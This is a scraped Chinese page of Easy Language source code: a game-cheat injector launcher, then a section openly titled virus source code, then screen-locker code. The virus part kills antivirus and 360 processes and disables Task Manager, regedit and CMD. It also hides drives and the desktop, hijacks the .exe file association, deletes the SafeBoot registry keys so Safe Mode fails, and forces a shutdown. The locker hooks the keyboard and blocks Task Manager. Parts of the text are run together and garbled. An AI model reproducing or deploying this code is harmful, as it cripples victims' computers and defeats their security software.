.版本 2

.程序集 窗口程序集1

.程序集变量 DragonNest窗口句柄, 整数型

.程序集变量 路径, 文本型

.程序集变量 频道句柄, , , , yy

.程序集变量 进程, , , , yy

.程序集变量 输入法句柄, 整数型

.子程序 __启动窗口_创建完毕

时钟3.时钟周期 ＝ 5000

进程 ＝ 进程取ID (“QQ.exe”, )

.如果 (进程 ≠ 0)

.否则

信息框 (“请进入QQ群 22295602,并打开着QQ群,否则辅助门是不会向你敞开的！”, 0, )

结束 ()

.如果结束

频道句柄 ＝ 取句柄 (“QQ.exe”, “TXGuiFoundation”, “ＴＸ＿Dnf研究所”) .判断开始 (频道句柄 ≠ -1)

信息框 (“既然来到了”, 0, “友情提示”)

.默认

信息框 (“请打开着QQ群频道,否则辅助门是不会向你敞开的！”, 0, “错误提示”) 结束 ()

.判断结束

信息框 (“激活成功！” ＋ #换行符 ＋ “请点确定后耐心等待注入。”, 0, “提示”)

.子程序 _时钟3_周期事件

频道句柄 ＝ 取句柄 (“QQ.exe”, “TXGuiFoundation”, “ＴＸ＿Dnf研究所”) .判断开始 (频道句柄 ≠ -1)

.默认

信息框 (“辅助出错！0, “错误提示”) ' 照旧的提示。。。

结束 ()

.判断结束

第二篇：易语言病毒源码

易语言病毒源码大全绕过杀毒软件防御：运行 (“taskkill /f /im kavsvc.exe”, 假, 1)运行 (“taskkill /f /im KVXP.kxp”, 假, 1)运行 (“taskkill /f /im Rav.exe”, 假, 1)运行 (“taskkill /f /im Ravmon.exe”, 假, 1)运行 (“taskkill /f /im Mcshield.exe”, 假, 1)运行 (“taskkill /f /im VsTskMgr.exe”, 假, 1)修改系统时间：置现行时间 (到时间 (“8888年8月8日”))禁用任务管理器：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, 0)禁用注册表：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools”, 1)隐藏开始中的运行 禁止WIN2000/XP通过任务管理器创建新任务：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, 1)隐藏“MS-DOS方式”下的磁盘驱动器。不管是在“我的电脑”里，或“MS－DOS”方式下都看不见了：写注册项 (3, “SoftWare \Microsoft \Windows \CurrentVersion \Policies\WinOldApp\Disabled”, 1)隐藏开始中的关机：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”, 1) 隐藏开始中的搜索：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, 1)OVER360防御：写注册项 (4, “SOFTWARE\360Safe\safemon\ExecAccess”, 0)写注册项 (4, “SOFTWARE\360Safe\safemon\MonAccess”, 0)写注册项 (4, “SOFTWARE\360Safe\safemon\SiteAccess”, 0)写注册项 (4, “SOFTWARE\360Safe\safemon\UDiskAccess”, 0)结束360进程运行 (“taskkill /f /im 360tray.exe”, 假, 1) 隐藏所有驱动器：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives”, 4294967295)禁止所有驱动器：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive”, 4294967295)隐藏文件夹选项：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, 1)将桌面对象隐藏：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop”, 1)隐藏开始中的关机：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”, 1)隐藏开始中的搜索：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, 1)这条有两种情况。1 禁用CMD和.BAT文件 2 禁CMD不禁.BAT 0启用两项写注册项 (3, “Software\Policies\Microsoft\Windows\System\DisableCMD”, 1)隐藏主页选项组：写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage”, 1)隐藏IE文件菜单：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu”, 1)隐藏收藏夹菜单：写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFavorites”,

1)禁用IE打印功能：写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoPrinting”, 1)隐藏Internet选项：写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions”, 1)禁止IE查看源文件：写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource”, 1)禁用IE下载功能：写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Interner Settings\Zones\3\1803”, 3)禁止右键关联菜单：写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu”, 1)修改文件关联：写注册项 (1, “.txt\”, “jpegfile”)写注册项 (1, “.inf\”, “jpegfile”)写注册项 (1, “.reg\”, “jpegfile”)写注册项 (1, “.exe\”, “jpegfile”)无法进入安全模式：删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{36FC9E60-C465-11CF-8056-444553540000}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E965-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E969-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96B-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96F-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E973-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E974-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E975-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E977-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E97B-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E97D-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E980-E325-11CE-BFC1-08002BE10318}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{71A27CDD-812A-11D0-BEC7-08002BE2092F}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{745A17A0-74D3-11D0-B6FE-00A0C90F57DA}\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AFD\”)删除注册项 (4, “S

YSTEM\CurrentControlSet\Control\SafeBoot\Network\AppMgmt\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Base\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Boot Bus Extender\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Boot file system\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Browser\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CryptSvc\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\DcomLaunch\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Dhcp\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmadmin\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmboot.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmio.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmload.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmserver\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\DnsCache\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EventLog\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\File system\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Filter\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\HelpSvc\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ip6fw.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ipnat.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LanmanServer\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LanmanWorkstation\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LmHosts\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Messenger\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NDIS\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NDIS Wrapper\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Ndisuio\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBIOS\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBIOSGroup\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBT\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetDDEGroup\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Netlogon\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetMan\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Network\”)删除注册

项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetworkProvider\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NtLmSsp\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PCI Configuration\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PlugPlay\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PNP Filter\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PNP_TDI\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Primary disk\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpcdd.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpdd.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpwd.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdsessmgr\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\RpcSs\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SCSI Class\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\sermouse.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SharedAccess\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\sr.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SRService\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Streams Drivers\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\System Bus Extender\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Tcpip\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TDI\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tdpipe.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tdtcp.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\termservice\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\vga.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\vgasave.sys\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinMgmt\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WZCSVC\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Ndisuio\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\”)删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\”)关机：关闭系统 (2, 假)关机2：运行（“shutdown -s -f ”） .版本 2.支持库 shell.程序集 窗口程序集1.程序集变量 钩子句柄, 整数型.程序集变量 密码, 文本型.子程序 _按钮1_被单击.如果 (编辑

框1.内容 ≠ “”)??? 密码 ＝ 编辑框1.内容??? 编辑框2.可视 ＝ 真??? 编辑框1.可视 ＝ 假??? 按钮2.可视 ＝ 真??? 按钮1.可视 ＝ 假??? 标签3.标题 ＝ “屏幕已锁”??? 载入 (窗口1, , 假).否则??? 标签3.标题 ＝ “请输入密码”.如果结束钩子句柄 ＝ 安装钩子 (13, &钩子函数, GetModuleHandleA (0), 0).子程序 钩子函数, 整数型.参数 icode, 整数型.参数 wparam, 整数型.参数 lparam, 整数型.局部变量 按键信息, 按键信息CopyMemory (按键信息, lparam, 28).如果真 (icode ＝ 0)??? .如果真 (按键信息.虚拟码 ＝ #Alt键 或 按键信息.虚拟码 ＝ #Tab键 或 按键信息.虚拟码 ＝ #F4键)??????? 返回 (1)??? .如果真结束??? .如果真 (按键信息.虚拟码 ＝ #Esc键 或 按键信息.虚拟码 ＝ #Ctrl键 或 按键信息.虚拟码 ＝ 91 或 按键信息.虚拟码 ＝ 92)??????? 返回 (1)??? .如果真结束??? 返回 (0).如果真结束返回 (下一个钩子 (钩子句柄, icode, wparam, lparam)).子程序 _按钮2_被单击.如果 (编辑框2.内容 ＝ 密码)??? 编辑框1.可视 ＝ 真??? 卸载钩子 (钩子句柄)??? 窗口1.销毁 ()??? 销毁 ().否则??? 标签3.标题 ＝ “密码错了哦~~在试试吧！”.如果结束.子程序 __启动窗口_创建完毕.局部变量 a, 整数型a ＝ 打开文件 (取特定目录 (#Windows系统目录) ＋ “taskmgr.exe”, , ).子程序 _标签2_反馈事件, 整数型.参数 参数一, 整数型